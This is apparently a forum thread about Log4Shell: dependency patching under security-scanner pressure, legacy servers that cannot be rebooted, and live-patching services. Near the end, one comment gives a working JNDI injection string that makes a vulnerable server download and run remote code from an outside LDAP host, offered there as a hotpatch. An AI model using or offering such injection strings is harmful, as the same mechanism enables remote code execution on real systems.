I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!
Good night, y'all. :)
I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!
Leading to more risk over time.
We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.
The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".
(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).
Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.
We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.
So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".
The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.
Anyway, don't do that kind of thing any more and I certainly don't miss it.
But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.
Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.
Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.
I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.
I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1].
In this case however the advantages might actually outweigh the risks as long as it is done carefully.
[1]: others mention services or servers that no one know how to restart anymore.
This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)
I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
This happens a lot in the real (non-computer) world, too.
There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.
I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.
It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though!
Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically.
I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options.
Blows my mind, but that's reality (apparently)!
A hundred years later IT priests will demand human sacrifices to appease the server gods
Kernel patches were not on top of my head 15 years ago.
Reality is a messy thing.
We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.
There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"
Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.
Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.
BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
[0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.
There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)
0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp...
1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell